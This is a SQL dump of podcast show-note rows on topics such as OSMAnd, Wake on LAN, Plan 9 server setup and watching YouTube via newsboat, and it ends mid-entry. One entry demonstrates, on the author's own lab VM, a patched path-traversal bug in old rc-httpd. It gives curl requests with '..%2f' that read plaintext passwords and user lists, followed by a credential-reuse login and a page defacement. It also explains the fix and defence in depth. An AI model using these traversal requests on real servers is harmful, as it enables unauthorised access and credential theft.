(3706,'2022-10-17','The Future of Technology',3054,'A philosophical look at the future of technology.','<p>Brady and I discuss people and technology; where it was, where we are, and where we are going. Put on your philosophy hats!</p>\n<h3 id=\"podcast-stuff\">Podcast Stuff:</h3>\n<ul>\n<li><p>Robert actually had an Atari 1200 XL:<br />\n<a href=\"http://oldcomputers.net/atari-1200xl.html\" class=\"uri\">http://oldcomputers.net/atari-1200xl.html</a></p></li>\n<li><p>Ray Ban Smart Glasses:<br />\n<a href=\"https://www.ray-ban.com/usa/electronics/RW4002%20UNISEX%20ray-ban%20stories%20%7C%20wayfarer-shiny%20black/8056597489478?fbclid=IwAR08oSxzKyvMfsPYKa1PtvVkda6rJtAlAyJ24pDFSCo03tIqaIxDnVC9IWw&amp;cid=PM-SBI_080622-1.US-RayBanStories-EN-B-Related-Exact_RayBan_Related_ray+ban+camera+glasses&amp;gclid=c6b5a6ec15e015a94bb7c5f91c52a69c&amp;gclsrc=3p.ds&amp;msclkid=c6b5a6ec15e015a94bb7c5f91c52a69c&amp;utm_source=bing&amp;utm_medium=cpc&amp;utm_campaign=1.US-RayBanStories-EN-B-Related-Exact&amp;utm_term=ray%20ban%20camera%20glasses&amp;utm_content=RayBan_Related\" class=\"uri\">https://www.ray-ban.com/usa/electronics/RW4002%20UNISEX%20ray-ban%20stories%20%7C%20wayfarer-shiny%20black/8056597489478?fbclid=IwAR08oSxzKyvMfsPYKa1PtvVkda6rJtAlAyJ24pDFSCo03tIqaIxDnVC9IWw&amp;cid=PM-SBI_080622-1.US-RayBanStories-EN-B-Related-Exact_RayBan_Related_ray+ban+camera+glasses&amp;gclid=c6b5a6ec15e015a94bb7c5f91c52a69c&amp;gclsrc=3p.ds&amp;msclkid=c6b5a6ec15e015a94bb7c5f91c52a69c&amp;utm_source=bing&amp;utm_medium=cpc&amp;utm_campaign=1.US-RayBanStories-EN-B-Related-Exact&amp;utm_term=ray%20ban%20camera%20glasses&amp;utm_content=RayBan_Related</a></p></li>\n<li><p>Google Glass is Back:<br />\n<a href=\"https://www.google.com/glass/start/\" class=\"uri\">https://www.google.com/glass/start/</a></p></li>\n<li><p>Microsoft Research:<br />\n<a href=\"https://www.microsoft.com/en-us/research/about-microsoft-research/\" class=\"uri\">https://www.microsoft.com/en-us/research/about-microsoft-research/</a></p></li>\n<li><p>Microsoft Open Source Blog:<br />\n<a href=\"https://cloudblogs.microsoft.com/opensource/\" class=\"uri\">https://cloudblogs.microsoft.com/opensource/</a></p></li>\n<li><p>Microsoft Open Source Hardware:<br />\n<a href=\"https://azure.microsoft.com/en-us/global-infrastructure/hardware-innovation/\" class=\"uri\">https://azure.microsoft.com/en-us/global-infrastructure/hardware-innovation/</a></p></li>\n</ul>\n<h3 id=\"picks-of-the-week\">Picks of the Week:</h3>\n<h4 id=\"bradys-picks\">Brady\'s Picks</h4>\n<ul>\n<li>Defeating the Hacker: A non-technical guide to computer security by Robert Schifreen<br />\n<a href=\"https://www.amazon.com/Defeating-Hacker-non-technical-computer-security/dp/0470025557\" class=\"uri\">https://www.amazon.com/Defeating-Hacker-non-technical-computer-security/dp/0470025557</a></li>\n</ul>\n<h4 id=\"roberts-pick\">Robert\'s Pick:</h4>\n<ul>\n<li>The Satanic Verses by Salman Rushdie<br />\n<a href=\"https://en.wikipedia.org/wiki/The_Satanic_Verses\" class=\"uri\">https://en.wikipedia.org/wiki/The_Satanic_Verses</a></li>\n</ul>\n<h3 id=\"cool-shit\">Cool Shit:</h3>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,socialmedia,technology,philosophy,future',0,0,1),
(3716,'2022-10-31','How I got in to Tech',531,'My journey in to technology','<p>I share my story about how I got in to technology.</p>\n',405,29,1,'CC-BY-SA','career,technology',0,0,1),
(3683,'2022-09-14','Add a favourite to OSMAnd',97,'Ken keeps forgetting how to add a favourite to OSMAnd','<p>I keep forgetting how to add a favorite to OSMAnd, so I\'ve recorded this show to remind myself how to do it.</p>\n\n<ol>\n<li>Search for a location, either in the Hamburger Menu or clicking the Magnifying glass icon</li>\n<li>Type in your address and select the place</li>\n<li>The screen will appear with a Locator Pin</li>\n<li>On the bottom click Add and Save</li>\n<li>You can optionally include them in a group</li>\n</ol>\n\n<p><img src=\"/eps/hpr3683/01.jpg\" alt=\"Click Search\" /></p>\n<p><img src=\"/eps/hpr3683/02.jpg\" alt=\"Or Menu Search\" /></p>\n<p><img src=\"/eps/hpr3683/03.jpg\" alt=\"Type address eg Amsterdam Centraal\" /></p>\n<p><img src=\"/eps/hpr3683/04.jpg\" alt=\"Locate address, and click Add\" /></p>\n<p><img src=\"/eps/hpr3683/05.jpg\" alt=\"Click Save\" /></p>\n\n<p>\nAbout <a href=\"https://en.wikipedia.org/wiki/OsmAnd\">https://en.wikipedia.org/wiki/OsmAnd</a><br />\n<em>\nOsmAnd is a map and navigation app for Android and iOS. It uses the OpenStreetMap map database for its primary displays, but is an independent app not endorsed by the OpenStreetMap Foundation</em>\n</p>\n<h3>Links</h3>\n<ul>\n<li><a href=\"https://osmand.net/\">https://osmand.net/</a></li>\n<li><a href=\"https://f-droid.org/en/packages/net.osmand.plus/\">https://f-droid.org/en/packages/net.osmand.plus/\"</a></li>\n</ul>\n\n\n',30,0,0,'CC-BY-SA','OSMAnd, OSM, Open Street Maps, Android',0,0,1),
(3685,'2022-09-16','Budget and an Android app',122,'Zoho docs for budgeting','<h2 id=\"zoho-sheets\">Zoho sheets</h2>\n<p><a href=\"https://sheet.zoho.com\" title=\"Zoho Spreadsheet\">Zoho Sheets</a></p>\n<h2 id=\"zoho-android-app\">Zoho Android app</h2>\n<p><a href=\"https://play.google.com/store/apps/details?id=com.zoho.sheet.android&amp;gl=US\" title=\"Zoho Sheets - Android app\">Zoho Sheets - Android app</a></p>\n<h4 id=\"places\">Places</h4>\n<ul>\n<li>Dropbox.com</li>\n<li>Box.com</li>\n</ul>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3685/Budget_sample_2022-9-9.ods\" title=\"Budget sample in LibreOffice dated 9-9-2022\">Budget sample from LibreOffice</a></p>\n',318,0,0,'CC-BY-SA','Budget, spreadsheet, LibreOffice, Android',0,0,1),
(3684,'2022-09-15','Wake on Lan',602,'Wake on Lan mother board feature','<h2 id=\"wakeonlan-wol\">WakeOnLAN (WOL)</h2>\n<p>From <a href=\"https://wiki.wireshark.org/WakeOnLAN#:~:text=WakeOnLAN%20is%20the%20protocol%20name%20given%20to%20the,automatically%20powered-down%20because%20of%20its%20power%20management%20features\">wiki.wireshark.org</a></p>\n<blockquote>\n<p><em>WakeOnLAN is the protocol name given to the so-called Magic Packet technology, developed by AMD and Hewlett Packard for remotely waking up a remote host that may have been automatically powered-down because of its power management features. Although power management allows companies and individuals to cut power usage costs, it presents a problem for IT departments especially in being able to quickly and efficiently remotely manage PC\'s, especially during off-hours operation when those PC\'s are most likely to be in a suspended or standby state, assuming power management features are enabled.</em></p>\n</blockquote>\n',129,0,0,'CC-BY-SA','Wake on Lan, wol',0,0,1),
(3686,'2022-09-19',' Followup for HPR3675: Clarifications on the path traversal bug',2335,'installing a plan 9 cpu+web server, namespaces to the rescue, web app security models and more','<h1 id=\"followup-for-hpr3675-installing-a-plan-9-cpu-server-plan-9-web-server-clarifications-on-the-path-traversal-bug-private-namespaces-to-the-rescue-web-application-security-models\">Followup for HPR3675: Installing a Plan 9 CPU server, Plan 9 web server, clarifications on the path traversal bug, private namespaces to the rescue, web application security models</h1>\n<hr />\n<h1 id=\"installing-plan-9-with-libvirt\">Installing Plan 9 with libvirt</h1>\n<pre class=\"sh\"><code>[root@localhost]# virt-install -n 9pwn \\\n--description &quot;pre-patched rc-httpd&quot; \\\n--osinfo=unknown \\\n--memory=4096 \\\n--vcpus=4 \\\n--disk path=/var/lib/libvirt/images/9pwn.qcows,bus=virtio,size=10 \\\n--graphics spice \\\n--cdrom ~/Downloads/9front-8593.acc504c319a4b4188479cfa602e40cb6851c0528.amd64.iso \\\n--network bridge=virbr0\n\n[root@localhost]# virt-viewer 9pwn\n</code></pre>\n<p>How I find the IP of my guests and add it to my /etc/hosts for faster access.</p>\n<pre class=\"sh\"><code>[root@localhost]# virsh domiflist 9pwn\n Interface Type Source Model MAC\n----------------------------------------------------------\n vnet3 bridge virbr0 e1000 52:54:00:43:8a:50\n\n[root@localhost]# arp -e | grep 52:54:00:43:8a:50\n192.168.122.20 ether 52:54:00:43:8a:50 C virbr0\n\n[root@localhost]# echo cirno 192.168.122.20 &gt;&gt; /etc/hosts\n</code></pre>\n<p>Proceed as normal with a 9 installation</p>\n<hr />\n<h1 id=\"set-up-cpu-server-with-rc-httpd-and-werc\">Set up CPU server with rc-httpd and werc</h1>\n<p><a href=\"https://0x19.org/posts/2022-09-03.php\">I wrote about configuring a CPU server</a> and also mirrored the notes at <a href=\"https://9.0x19.org/9notes/9front-web-server\">my 9front webserver containing a mirror of my plan 9 related things (using self-signed certs but it\'s fine)</a> I\'ve snarfed+pasted it here for the sake of completeness and modified it slightly so that it\'s more accessible for other people. I\'ve also revised these notes so that they\'re less-broken. I may or may not update them.</p>\n<p>I\'m using <a href=\"https://9front.org\">9front</a> for this. It has more secure authentication protocols when it comes to remotely connecting.</p>\n<h2 id=\"configuring-a-cpu-server\">Configuring a CPU server</h2>\n<h3 id=\"add-users-to-file-server\">Add users to file server</h3>\n<p>Connect to the file server and add a new user called <code>&lt;ExampleUser&gt;</code> who is in the groups <code>sys</code>, <code>adm</code>, and <code>upas</code></p>\n<pre class=\"sh\"><code>term% con -C /srv/cwfs.cmd\nnewuser &lt;ExampleUser&gt;\nnewuser sys +&lt;ExampleUser&gt;\nnewuser adm +&lt;ExampleUser&gt;\nnewuser upas +&lt;ExampleUser&gt;\n</code></pre>\n<p>Reboot and set <code>user=&lt;ExampleUser&gt;</code> when prompted at boot time.</p>\n<h3 id=\"configure-users-environment\">Configure user\'s environment</h3>\n<p>This is similar to <code>cp -r /etc/skel /home/&lt;ExampleUser&gt;</code> on a UNIX system.</p>\n<pre class=\"sh\"><code>/sys/lib/newuser\n</code></pre>\n<h3 id=\"configure-headless-booting\">Configure headless booting</h3>\n<p>Mount the boot partition:</p>\n<pre class=\"sh\"><code>term% 9fs 9fat\n</code></pre>\n<p>edit the boot config, <code>/n/9fat/plan9.ini</code></p>\n<pre class=\"sh\"><code>bootfile=9pc64\nnobootprompt=local!/dev/sdC0/fscache\nmouseport=ps2\nmonitor=vesa\nvgasize=1024x768x14\nuser=&lt;ExampleUser&gt;\ntiltscreen=none\nservice=cpu\n</code></pre>\n<h3 id=\"add-hostowner-info-to-nvram\">Add hostowner info to nvram</h3>\n<p>Hostowner is similar to root but not quite. In our configuration, hostowner is close to being equivalent to a root user. The <code>user=</code> line in our bootprompt sets the hostowner.</p>\n<p>For automatic booting (aka not entering a password at the physical machine every time we power it in), we need to add the hostowner\'s key to nvram.</p>\n<pre class=\"sh\"><code>term% nvram=/dev/sdF0/nvram auth/wrkey\nbad nvram des key\nbad authentication id\nbad authentication domain\nauthid: &lt;ExampleUser&gt;\nauthdom: cirno\nsecstore key: &lt;press the return key if you do not want to type this at boot time&gt;\npassword: &lt;make it 8 chars&gt;\n</code></pre>\n<h3 id=\"configure-auth-server\">Configure auth server</h3>\n<p>In order to connect to the system over the network, the new user must be added to the auth server.</p>\n<pre class=\"sh\"><code>term% auth/keyfs\nterm% auth/changeuser &lt;ExampleUser&gt;\nPassword: &lt;what you put earlier&gt;\nConfirm password:\nAssign new Inferno/POP secret? [y/n]: n\nExpiration date (YYYYMMDD or never) [never]: never\nPost id:\nUser&#39;s full name:\nDepartment #:\nUser&#39;s email address:\nSponsor&#39;s email address:\nuser &lt;ExampleUser&gt; installed for Plan 9\n</code></pre>\n<h3 id=\"configure-permissions\">Configure permissions</h3>\n<p><code>/lib/ndb/auth</code> is similar to a <code>/etc/sudoers</code>. This configuration for the new user allows him to execute commands as other users <em>except</em> for the <code>sys</code> and <code>adm</code> users (but sys and adm are more like groups but who cares).</p>\n<p>append to <code>/lib/ndb/auth</code></p>\n<pre class=\"sh\"><code>hostid=&lt;ExampleUser&gt;\n uid=!sys uid=!adm uid=*\n</code></pre>\n<p>then reboot</p>\n<h3 id=\"test-if-it-worked-with-drawterm\">Test if it worked with drawterm</h3>\n<p>The 9front version of drawterm must be used as it supports the better crypto in 9front. Other drawterm versions probably won\'t work.</p>\n<pre class=\"sh\"><code>$ /opt/drawterm -u &lt;ExampleUser&gt; -h example.com -a example.com -r ~/\n</code></pre>\n<h2 id=\"configure-rc-httpd\">Configure rc-httpd</h2>\n<p>edit <code>/rc/bin/rc-httpd/select-handler</code></p>\n<p>this file is something like <code>/etc/httpd.conf</code> on a UNIX system.</p>\n<pre class=\"sh\"><code>#!/bin/rc\nPATH_INFO=$location\n\n switch($SERVER_NAME) {\n case example.com\n FS_ROOT=/sys/www/$SERVER_NAME\n exec static-or-index\n\n case *\n error 503\n}\n</code></pre>\n<p>To listen on port 80 and run the handler on port 80:</p>\n<pre class=\"sh\"><code>cpu% cp /rc/bin/service/!tcp80 /rc/bin/service/tcp80\ncpu% chmod +x /rc/bin/rc-httpd/select-handler\n</code></pre>\n<p>Reboot and test.</p>\n<h3 id=\"ssl\">SSL</h3>\n<p>I will never give money to the CA racket. Self-signed is the way to go on systems that don\'t support <a href=\"https://acme.sh\">acme.sh, the only ACME client I use for obtaining free SSL certs.</a></p>\n<p>Generate and install:</p>\n<pre class=\"sh\"><code>cpu% ramfs -p\ncpu% cd /tmp\ncpu% auth/rsagen -t &#39;service=tls role=client owner=*&#39; &gt; key\ncpu% chmod 600 key\ncpu% cp key /sys/lib/tls/key\ncpu% auth/rsa2x509 &#39;C=US CN=example.com&#39; /sys/lib/tls/key | auth/pemencode CERTIFICATE &gt; /sys/lib/tls/cert\ncpu% mkdir /cfg/$sysname\ncpu% echo &#39;cat /sys/lib/tls/key &gt;&gt; /mnt/factotum/ctl&#39; &gt;&gt; /cfg/$sysname/cpustart\n</code></pre>\n<p>Now add a listener in <code>/rc/bin/service/tcp443</code>:</p>\n<pre class=\"sh\"><code>#!/bin/rc\nexec tlssrv -c /sys/lib/tls/cert -l /sys/log/https /rc/bin/service/tcp80 $*\n</code></pre>\n<p>And make it executable:</p>\n<pre class=\"sh\"><code>cpu% chmod +x /rc/bin/service/tcp443\n</code></pre>\n<h2 id=\"install-and-configure-werc\">Install and configure werc</h2>\n<pre class=\"sh\"><code>cpu% cd\ncpu% mkdir /sys/www &amp;&amp; cd www\ncpu% hget http://werc.cat-v.org/download/werc-1.5.0.tar.gz &gt; werc-1.5.0.tgz\ncpu% tar xzf werc-1.5.0.tgz\ncpu% mv werc-1.5.0 werc\n\n# ONLY DO THIS IF YOU *MUST* RUN THE THINGS THAT ALLOW WERC TO WRITE TO DISK\n# EG. DIRDIR, BLAGH, ETC\n# DON&#39;T DO THIS, JUST USE DRAWTERM OVER THE NETWORK\n# HTTP CLIENTS SHOULD NEVER BE ALLOWED TO WRITE TO DISK\n# PLEASE I BEG YOU\ncpu% cd .. &amp;&amp; for (i in `{du www | awk &#39;{print $2}&#39;}) chmod 777 $i\n\ncpu% cd werc/sites/\ncpu% mkdir example.com\ncpu% mv default.cat-v.org example.com\n</code></pre>\n<p>now re-edit <code>/rc/bin/rc-httpd/select-handler</code></p>\n<pre class=\"sh\"><code>#!/bin/rc\nWERC=/sys/www/werc\nPLAN9=/\nPATH_INFO=$location\nswitch($SERVER_NAME){\ncase cirno\n FS_ROOT=$WERC/sites/$SERVER_NAME\n exec static-or-cgi $WERC/bin/werc.rc\ncase *\n error 503\n}\n</code></pre>\n<p>Test the website. Werc is fiddly. Werc is archaic. Werc is fun.</p>\n<hr />\n<h1 id=\"path-traversal-vulnerabilities-in-old-versions-of-rc-httpd\">Path traversal vulnerabilities in old versions of rc-httpd</h1>\n<p>Using release <a href=\"https://9front.org/releases/2021/07/18/0/\">COMMUNITY VS INFRASTRUCTURE</a>, an old release with old rc-httpd, I have done the above steps. In current releases this bug no longer exists. Use current releases.</p>\n<h2 id=\"the-vulnerability\">The vulnerability</h2>\n<pre class=\"sh\"><code># get list of werc admin users\n[root@localhost]# curl http://cirno/..%2f..%2f/etc/users/admin/members\npwn\n# get that werc user&#39;s password\n[root@localhost]# http://cirno/..%2f..%2f/etc/users/pwn/password\nsupersecret\n</code></pre>\n<p>Wait, the passwords for werc are stored in plain text? Let\'s log in</p>\n<pre class=\"sh\"><code>[root@localhost]# firefox http://cirno/_users/login\n</code></pre>\n<p>Now let\'s see if any of the werc users are also system users:</p>\n<pre class=\"sh\"><code># let&#39;s enumerate users\n[root@localhost]# curl http://cirno/..%2f..%2f..%2f..%2f..%2f..%2f/adm/users\n-1:adm:adm:glenda,pwn\n0:none::\n1:tor:tor:\n2:glenda:glenda:\n3:pwn:pwn:\n10000:sys::glenda,pwn\n10001:map:map:\n10002:doc::\n10003:upas:upas:glenda,pwn\n10004:font::\n10005:bootes:bootes:\n</code></pre>\n<p>Let\'s hope that no one is re-using credentials. Let\'s check just to be sure</p>\n<pre class=\"sh\"><code>$ PASS=supersecret /opt/drawterm -u pwn -h cirno -a cirno -G\ncpu% cat /env/sysname\ncirno\ncpu%\n</code></pre>\n<p><strong>This is what happens when you have path traversal vulnerabilities, an authentication vulnerability in your CMS, and share login/passwords</strong></p>\n<h2 id=\"how-the-static-or-cgi-handler-works\">How the static-or-cgi handler works</h2>\n<p>rc-httpd calls various <em>handler</em> scripts that decide what to do with requests. In the example configuration for werc, rc-httpd is instructed to call the <code>static-or-cgi</code> script.</p>\n<p>I will compile these archaic rc scripts into pseudo code for the listener.</p>\n<p>The <code>static-or-cgi</code> handler (the handler specified in the httpd config) is simple:</p>\n<pre class=\"sh\"><code>#!/bin/rc\ncgiargs=$*\n\nfn error{\n if(~ $1 404)\n exec cgi $cgiargs\n if not\n $rc_httpd_dir/handlers/error $1\n}\n\nif(~ $location */)\n exec cgi $cgiargs\nif not\n exec serve-static\n</code></pre>\n<ol>\n<li>If the requested file exists, call the <code>cgi</code> handler and pass it arguments.</li>\n<li>If the requested file does not exist, call the <code>serve-static</code> handler.</li>\n</ol>\n<h2 id=\"how-the-serve-static-handler-works\">How the serve-static handler works</h2>\n<p>The problem lies in the <code>serve-static</code> handler:</p>\n<pre class=\"sh\"><code>#!/bin/rc\nfull_path=`{echo $&quot;FS_ROOT^$&quot;PATH_INFO | urlencode -d}\nfull_path=$&quot;full_path\nif(~ $full_path */)\n error 503\nif(test -d $full_path){\n redirect perm $&quot;location^&#39;/&#39; \\\n &#39;URL not quite right, and browser did not accept redirect.&#39;\n exit\n}\nif(! test -e $full_path){\n error 404\n exit\n}\nif(! test -r $full_path){\n error 503\n exit\n}\ndo_log 200\nswitch($full_path){\ncase *.html *.htm\n type=text/html\ncase *.css\n type=text/css\ncase *.txt *.md\n type=text/plain\ncase *.jpg *.jpeg\n type=image/jpeg\ncase *.gif\n type=image/gif\ncase *.png\n type=image/png\ncase *\n type=`{file -m $full_path}\n}\nif(~ $type text/*)\n type=$type^&#39;; charset=utf-8&#39;\nmax_age=3600 # 1 hour\necho &#39;HTTP/1.1 200 OK&#39;^$cr\nemit_extra_headers\necho &#39;Content-type: &#39;^$type^$cr\necho &#39;Content-length: &#39;^`{ls -l $full_path | awk &#39;{print $6}&#39;}^$cr\necho &#39;Cache-control: max-age=&#39;^$max_age^$cr\necho $cr\nexec cat $full_path\n</code></pre>\n<ol>\n<li>encode the full file path into a url</li>\n<li>if the url points to a file outside of <code>\'*/\'</code>, the document root, error 503</li>\n<li>if the url is broken, exit</li>\n<li>if the url points to a file that neither exists nor is readable, error 503</li>\n<li>if you haven\'t exited by now, serve the file</li>\n</ol>\n<p>The problem is no sanitization. The script checks for files in the current directory <em>BUT NOT BEFORE ENCODING THE URL STRING</em>.</p>\n<p>The urlencode command works by decoding encoded characters.</p>\n<pre class=\"sh\"><code>cpu% echo &#39;http://cirno/..%2f&#39; | urlencode -d\nhttp://cirno/../\n</code></pre>\n<p>Does <code>../</code> exist in <code>*/</code> ? the answer is yes.</p>\n<p><code>..</code> is a directory contained inside of <code>*/</code></p>\n<p><code>*/../</code> <em>is</em> the current working directory.</p>\n<h2 id=\"how-they-fixed-it\"><a href=\"ttps://git.9front.org/plan9front/plan9front/241667b933ff5bacb9a3974f6877fb8aad78bed3/commit.html\">How they fixed it</a></h2>\n<p>Adding a sanitizer. By comparing the encoded url against an actual hypothetical file path and exiting if there is a mismatch, all %2f funny business is avoided.</p>\n<hr />\n<h1 id=\"other-optional-bad-config-options-in-werc\">Other (optional) bad config options in werc</h1>\n<p>rc-httpd aside, a bad werc config can still lead to website defacement if your non rc-httpd webserver has a path traversal vulnerability.</p>\n<p>Additionally I have modified the DAC for /sys/www to allow werc, a child process of <code>rc-httpd</code> to write to disk. rc-httpd runs as the <code>none</code> user so it\'s not typically allowed to write to disk unless explicitly permitted. I do not allow this on my 9 webserver because it\'s the worst idea in the history of all time ever.</p>\n<p>I enabled the dirdir and blagh modules as if I were the type of admin who does a <code>chmod -R 777 /var/www/htdocs</code> because <q>that\'s what the wordpress installation guide told me to do so I could have a cool and easy way to modify my website from the browser.</q></p>\n<p>Let\'s pretend that I\'m not the admin of this system and scrape the werc config just to see if the hypothetical <em>badmin</em> has these modules enabled.</p>\n<pre class=\"sh\"><code># get config\n[root@localhost]# curl http://cirno/..%2f..%2f/sites/cirno/_werc/config\nmasterSite=cirno\nsiteTitle=&#39;Werc Test Suite&#39;\nconf_enable_wiki\nwiki_editor_groups admin\n</code></pre>\n<p>Hmmm, looks like these modules are enabled so we can assume that httpd is allowed to write to disk. Let\'s modify <code>cirno/index.md</code> to warn the admin. As a funny joke. Totally not a crime under the Computer Fraud and Abuse Act. Totally not an inappropriate way to warn admins about a vulnerability.</p>\n<pre class=\"sh\"><code>[root@localhost]# curl -s cirno | pandoc --from html --to plain\nquotes | docs | repo | golang | sam | man | acme | Glenda | 9times |\nharmful | 9P | cat-v.org\n\nRelated sites: | site updates | site map |\n\nWerc Test Suite\n\n- &#x203A; apps/\n- &#x203A; titles/\n\nSECURITY ADVISORY:\n\nlol this guy still hasn&#39;t figured out the ..%2f trick\n\nPowered by werc\n</code></pre>\n<h2 id=\"modifying-werc-to-support-password-hashing\">Modifying werc to support password hashing</h2>\n<p>Adding password hashes isn\'t too difficult. Being constrained by time, I have not done this quite yet. Reading the source code, all it takes is modifying 2 werc scripts: <code>bin/werclib.rc</code> and <code>bin/aux/addwuser.rc</code></p>\n<pre class=\"sh\"><code>% echo &#39;supersecret&#39; | sha1sum -2 512\n</code></pre>\n<hr />\n<h1 id=\"private-namespaces-to-the-rescue\">Private namespaces to the rescue</h1>\n<p>Luckily enough, the webserver runs as the <code>none</code> user with it\'s own namespace.</p>\n<h2 id=\"comparing-the-hostowners-namespace-and-none-users-namespace\">Comparing the hostowner\'s namespace and none user\'s namespace</h2>\n<p>I grab the namespace from the system console (ie not from drawterm) and from the listen command, then run a diff (unix style) to show the differences.</p>\n<pre class=\"sh\"><code>cpu% ns | sort &gt; cpu.ns\ncpu% ps -a | grep -e &#39;listen.*80&#39; | grep -v grep\nnone 355 0:00 0:00 132K Open listen [/net/tcp/2 tcp!*!80]\ncpu% ns 355 | sort &gt; listen.ns\ncpu% diff -u listen.ns cpu.ns\n--- listen.ns\n+++ cpu.ns\n@@ -6,17 +6,29 @@\n bind /amd64/bin /bin\n bind /mnt /mnt\n bind /mnt/exportfs /mnt/exportfs\n+bind /mnt/temp/factotum /mnt/factotum\n bind /n /n\n bind /net /net\n bind /root /root\n+bind -a &#39;#$&#39; /dev\n bind -a &#39;#I&#39; /net\n+bind -a &#39;#P&#39; /dev\n+bind -a &#39;#S&#39; /dev\n bind -a &#39;#l&#39; /net\n+bind -a &#39;#r&#39; /dev\n+bind -a &#39;#t&#39; /dev\n+bind -a &#39;#u&#39; /dev\n+bind -a &#39;#u&#39; /dev\n bind -a &#39;#&#xA4;&#39; /dev\n bind -a &#39;#&#xB6;&#39; /dev\n+bind -a &#39;#&#x3C3;/usb&#39; /dev\n+bind -a &#39;#&#x3C3;/usbnet&#39; /net\n bind -a /rc/bin /bin\n bind -a /root /\n+bind -b &#39;#k&#39; /dev\n bind -c &#39;#e&#39; /env\n bind -c &#39;#s&#39; /srv\n+bind -c /usr/pwn/tmp /tmp\n cd /usr/pwn\n mount -C &#39;#s/boot&#39; /n/other other\n mount -a &#39;#s/boot&#39; /\n@@ -26,4 +38,4 @@\n mount -a &#39;#s/slashmnt&#39; /mnt\n mount -a &#39;#s/slashn&#39; /n\n mount -aC &#39;#s/boot&#39; /root\n-mount -b &#39;#s/factotum&#39; /mnt\n+mount -b &#39;#s/cons&#39; /dev\n</code></pre>\n<p>The major difference is that the hostowner (equivalent to root user) has a lot more things bound to his namespace:</p>\n<ul>\n<li>\'#$\' PCI interfaces</li>\n<li>\'#P\' APM power management</li>\n<li>\'#S\' storage devices</li>\n<li>\'#r\' realtime clock and nvram</li>\n<li>\'#t\' serial ports</li>\n<li>\'#u\' USB</li>\n<li>\'#&#x3C3;\' /shr global mountpoints</li>\n<li>\'#k\' keyboard</li>\n<li>/tmp directories</li>\n<li>\'#s\' various special files relating to services</li>\n</ul>\n<p>The <code>listen</code> process in question is fairly well isolated from the system. Minimal system damage can be caused by pwning a process owned by <code>none</code>.</p>\n<hr />\n<h1 id=\"closing\">Closing</h1>\n<p>An argument could be maid that the rc-httpd vulnerability was \"not a bug\" because \"namespaces are supposed to segregate the system\".</p>\n<p>I disagree on this point. Namespaces are good and all but security is a multi-layer thing. Relying on a single security feature to save your system means relying on a single point of failure. Chroot escapes, namespace escapes, container escapes, and VM escapes are all things we need to be thinking about when writing software that touches the internet. Although unlikely, getting pwnd in spite of these security methods is still possible; <em>all</em> user input is dangerous and <em>all</em> user input that becomes remote code execution <em>always</em> results in privilege escalation no matter how secure you think your operating system is. Each additional layer of security makes it harder for attackers to get into the system.</p>\n<p>For example, when I write PHP applications, I consider things in this order:</p>\n<ol>\n<li>don\'t pass unnecessary resources into the document root via symlinks, bind mounts, etc.</li>\n<li>never ever use <code>system()</code> in a context where user input can ever be passed to the function in order to avoid shell escapes</li>\n<li>sanitize all user input depending on context. Ex: if the PHP program is directly referencing files, make a whitelist and compare requests to this whitelist. If the PHP process is writing to a database, use prepared statements.</li>\n<li>fire up a kali linux vm and beat the test server half to death</li>\n<li>iterate upon my ignorance</li>\n<li>doubly verify DAC just to be sure</li>\n<li>re-check daemon configs to make sure I\'m not doing anything stupid</li>\n<li>FINALLY: rely on SELinux or OpenBSD chroots (depending on prod env) to save me if all else failed</li>\n</ol>\n<p>And of course the other things like firewalls (with whitelists for ports and blacklists for entire IP address blocks), key based ssh authentication, sshd configurations that don\'t make it possible to enumerate users, rate limiters, etc.</p>\n<p>Each layer of security is like a filter. If you have enough layers of filters it would take an unrealistic amount of force to push water through this filter. Although no system is perfectly safe from three letter agencies, a system with multiple layers of security is typically safe from drive-by attacks.</p>\n<p>Final exercise: intentionally write a php script that does path traversal. Run this on a system with SELinux. Try to coax <code>/etc/passwd</code> out of the server. Now try <code>php-fpm</code> instead of <code>mod_php</code> or vice-versa. You\'ll be surprised when even MAC doesn\'t protect your system.</p>\n<p>Even now, after spending almost a month and a half worth of after work hacker hours almost exclusively on 9, I enjoy it more than when I began and even more than when using it in semi-regular spurts in years past. The purpose of research operating systems is to perform research, be it about the design of the system otherwise. Where would we be without private namespaces? How can I use this idea in the real world? What would the world look like if we had <em>real</em> distributed computing instead of web browsers (which are the new dumb terminal)? Is there a use case for this in the real world? What can we learn from single layer security models? What can we do to improve the system?</p>\n<p>Plan 9 is perfect for this type of research. I\'m considering writing an httpd in C and a werc-like (minus the parts I don\'t like) in C and modifying the namespace for the listener so that I can run a webserver on 9 without pulling in /bin in order to reduce the possibility of a shell escape.</p>\n<p>I think that in order to improve ourselves, we must be critical of ourselves. We must be critical of the things we enjoy in order to improve them and learn something new in the process. For software especially, there is no such thing as perfection, only least bad. And my final thought:</p>\n<blockquote>\n<p>Criticism: This program/OS/whatever sucks</p>\n</blockquote>\n<blockquote>\n<p>Response: I know, help me fix it.</p>\n</blockquote>\n',406,0,1,'CC-BY-SA','Plan 9, private namespaces, security, research operating systems',0,0,1),
(3695,'2022-09-30','How I watch youtube with newsboat',663,'Using youtube\'s channel RSS feeds to watch youtube from the command line','<h1 id=\"how-i-watch-youtube-with-newsboat\">How I watch youtube with <code>newsboat</code></h1>\n<p>I find that the youtube web ui is designed to keep users on the site by feeding them an unending stream of information. Bright colors, distracting thumbnails, peanut galleries, etc. I prefer to consume my videos in the same way I consume everything else: via RSS.</p>\n<p>RSS is my favorite way of aggregating things that other people have made because it allows me, the user, to interact with their things</p>\n<p>The only dependencies not on a standard UNIX system are <code>newsboat</code> and a video player. I also use <code>yt-dlp</code> to download videos for later viewing. I like <code>mpv</code> but you can substitute your own.</p>\n<pre><code>$ sudo $pkgmrg install newsboat mpv yt-dlp</code></pre>\n<h1 id=\"getting-rss-feeds-from-youtube\">Getting RSS feeds from youtube</h1>\n<p>Youtube (currently) provides RSS feeds for channels.</p>\n<h2 id=\"finding-youtube-channel-id\">Finding Youtube channel ID</h2>\n<p>Sometimes channels have vanity URLs that can make it difficult to find the channel ID. Other times, the URL contains the channel ID. All youtube channel IDs start with the string <code>UC</code> so we can easily grep for them.</p>\n<pre><code>$ curl https://www.youtube.com/c/RMCRetro | grep --color &quot;href=\\&quot;https://www.youtube.com/channel/UC\\&quot;&quot;\n[ lots of nonsense 